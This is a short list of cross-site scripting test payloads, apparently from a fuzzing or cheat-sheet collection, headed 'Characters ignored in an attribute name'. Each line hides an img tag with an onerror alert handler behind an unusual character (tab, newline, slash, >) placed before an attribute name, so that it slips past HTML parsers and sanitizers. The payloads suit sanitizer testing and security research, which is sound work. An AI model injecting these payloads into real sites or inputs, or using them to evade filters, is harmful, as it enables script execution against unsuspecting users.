Characters ignored in an attribute name

<div 	="><img src=x:x onerror=alert(9)>"></div>

<div 
="><img src=x:x onerror=alert(10)>"></div>

<div ="><img src=x:x onerror=alert(12)>"></div>

<div 
="><img src=x:x onerror=alert(13)>"></div>

<div  ="><img src=x:x onerror=alert(32)>"></div>

<div /="><img src=x:x onerror=alert(47)>"></div>

<div >="><img src=x:x onerror=alert(62)>"></div>